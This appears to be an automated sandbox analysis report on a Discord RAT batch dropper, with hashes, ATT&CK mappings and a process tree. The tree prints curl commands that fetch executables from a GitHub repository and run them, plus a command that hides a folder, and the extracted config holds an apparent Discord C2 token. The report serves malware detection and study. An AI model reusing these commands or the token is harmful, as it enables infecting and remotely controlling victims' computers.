discordrat | e6c1cccd7586150fa37740b2fc0c2ecb919b0d18d257a2f7ad223678c8552a80

Analysis

max time kernel
450s
max time network
1173s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
29-06-2024 13:36

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General

Target

Sharp CS V1.bat
Size

551B
MD5

a15cfc6331f0054de73a5353ee57bf21
SHA1

a58aa430e12ccb6eb1da97faf6144a28bec218c1
SHA256

e6c1cccd7586150fa37740b2fc0c2ecb919b0d18d257a2f7ad223678c8552a80
SHA512

3ee703a10768f76a3afa9be065becfb05c36ad67af9ad30849f1106deb153d975938901453a957900981bcf61330b4cd57e3ca4f4566289fb8114d8bbcfc0425

Score

10^/10

discordrat defense_evasion persistence rat rootkit stealer

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTI0MzQwMDg0MDc3NDE2MDM4NQ.Gnre8o.K_NB2WHxREqF5j5C1y9xsPSpv67TWHFacISXVA
server_id
1256564842899181648

Signatures

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat
Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3644	System.exe
2828	Packages.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
11	raw.githubusercontent.com
16	raw.githubusercontent.com
19	discord.com
21	discord.com
5	discord.com

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
664	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\System64\System.exe	curl.exe
File created	C:\Program Files\System64\Packages.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	System.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 4072	2692	cmd.exe	78
PID 2692 wrote to memory of 4072	2692	cmd.exe	78
PID 2692 wrote to memory of 2172	2692	cmd.exe	79
PID 2692 wrote to memory of 2172	2692	cmd.exe	79
PID 2692 wrote to memory of 3644	2692	cmd.exe	80
PID 2692 wrote to memory of 3644	2692	cmd.exe	80
PID 2692 wrote to memory of 2828	2692	cmd.exe	81
PID 2692 wrote to memory of 2828	2692	cmd.exe	81
PID 2692 wrote to memory of 2828	2692	cmd.exe	81
PID 2828 wrote to memory of 2344	2828	Packages.exe	83
PID 2828 wrote to memory of 2344	2828	Packages.exe	83
PID 2828 wrote to memory of 2344	2828	Packages.exe	83
PID 2344 wrote to memory of 4032	2344	cmd.exe	84
PID 2344 wrote to memory of 4032	2344	cmd.exe	84
PID 2344 wrote to memory of 4032	2344	cmd.exe	84
PID 2828 wrote to memory of 1888	2828	Packages.exe	85
PID 2828 wrote to memory of 1888	2828	Packages.exe	85
PID 2828 wrote to memory of 1888	2828	Packages.exe	85
PID 2828 wrote to memory of 2236	2828	Packages.exe	86
PID 2828 wrote to memory of 2236	2828	Packages.exe	86
PID 2828 wrote to memory of 2236	2828	Packages.exe	86
PID 2828 wrote to memory of 4716	2828	Packages.exe	87
PID 2828 wrote to memory of 4716	2828	Packages.exe	87
PID 2828 wrote to memory of 4716	2828	Packages.exe	87
PID 2828 wrote to memory of 664	2828	Packages.exe	88
PID 2828 wrote to memory of 664	2828	Packages.exe	88
PID 2828 wrote to memory of 664	2828	Packages.exe	88
PID 664 wrote to memory of 3892	664	cmd.exe	89
PID 664 wrote to memory of 3892	664	cmd.exe	89
PID 664 wrote to memory of 3892	664	cmd.exe	89
PID 2828 wrote to memory of 2756	2828	Packages.exe	90
PID 2828 wrote to memory of 2756	2828	Packages.exe	90
PID 2828 wrote to memory of 2756	2828	Packages.exe	90
PID 2828 wrote to memory of 2916	2828	Packages.exe	91
PID 2828 wrote to memory of 2916	2828	Packages.exe	91
PID 2828 wrote to memory of 2916	2828	Packages.exe	91
PID 2828 wrote to memory of 2312	2828	Packages.exe	92
PID 2828 wrote to memory of 2312	2828	Packages.exe	92
PID 2828 wrote to memory of 2312	2828	Packages.exe	92
PID 2828 wrote to memory of 3460	2828	Packages.exe	93
PID 2828 wrote to memory of 3460	2828	Packages.exe	93
PID 2828 wrote to memory of 3460	2828	Packages.exe	93

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3892	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sharp CS V1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\system32\curl.exe
  curl -LJO https://github.com/LongYears9/tools/raw/master/System.exe
  2⤵
  - Drops file in Program Files directory
  PID:4072
- C:\Windows\system32\curl.exe
  curl -LJO https://github.com/LongYears9/tools/raw/master/Packages.exe
  2⤵
  - Drops file in Program Files directory
  PID:2172
- C:\Program Files\System64\System.exe
  "C:\Program Files\System64\System.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Program Files\System64\Packages.exe
  "C:\Program Files\System64\Packages.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c mode con:cols=0120 lines=0030
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Windows\SysWOW64\mode.com
      mode con:cols=0120 lines=0030
      4⤵
      PID:4032
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c title Window Title
    3⤵
    PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"
    3⤵
    PID:2236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"
    3⤵
    PID:4716
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:664
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
      4⤵
      Views/modifies file attributes
      PID:3892
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t
    3⤵
    PID:2756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c
    3⤵
    PID:2312
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c pause
    3⤵
    PID:3460

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Program Files\System64\Packages.exe

Filesize
83KB

MD5
e155e62ecf5be9131dadecb19213a92a

SHA1
9ed3d1543b037e901c8870bd360bd5d65e15bda1

SHA256
70e2268a76050c6354ad22b0b997a41a48d7148219f6459acd44aadabe3bc500

SHA512
fdc30e0fc2d98b27a7fd145247373e5a38856cacaf6f6f66f2716175a4e2ced25f7383a1a42c2c8863a937a345362748575db4a65945e29c3f787975e1402959

Download Submit
C:\Program Files\System64\System.exe

Filesize
78KB

MD5
e102b8965e704f7ec4a214ce99b135c8

SHA1
8cba275b20c831b3b8f0506b5be5a3b0933b77c0

SHA256
8d172d0825449e0471982d06cac82536652167eee091815da823ae1d1fffedcf

SHA512
71e46823794dc72ff76c674e16538d24d18d0c9cb14bfa28c0bae38a3ebeeeba7a503fea5f9f5504c631eeaffe61a2187453c2d5991dd1c84a2c6ce48f5f4158

Download Submit
C:\Users\Admin\AppData\Local\Temp\i6.bat

Filesize
173B

MD5
0f8f70e88009593eefaa155a8e31b1d6

SHA1
eabcc3f2135e0919e9456da0a4b1084f3382d4b6

SHA256
941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b

SHA512
94df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750

Download Submit
C:\Users\Admin\AppData\Local\Temp\i6.t

Filesize
3B

MD5
a5ea0ad9260b1550a14cc58d2c39b03d

SHA1
f0aedf295071ed34ab8c6a7692223d22b6a19841

SHA256
f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

SHA512
7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

Download Submit
memory/3644-7-0x0000019F9FF40000-0x0000019F9FF58000-memory.dmp

Filesize
96KB

Download
memory/3644-8-0x00007FFE1AF73000-0x00007FFE1AF75000-memory.dmp

Filesize
8KB

Download
memory/3644-9-0x0000019FBA610000-0x0000019FBA7D2000-memory.dmp

Filesize
1.8MB

Download
memory/3644-11-0x00007FFE1AF70000-0x00007FFE1BA32000-memory.dmp

Filesize
10.8MB

Download
memory/3644-18-0x0000019FBB6C0000-0x0000019FBBBE8000-memory.dmp

Filesize
5.2MB

Download
memory/3644-19-0x00007FFE1AF70000-0x00007FFE1BA32000-memory.dmp

Filesize
10.8MB

Download
memory/3644-21-0x00007FFE1AF70000-0x00007FFE1BA32000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads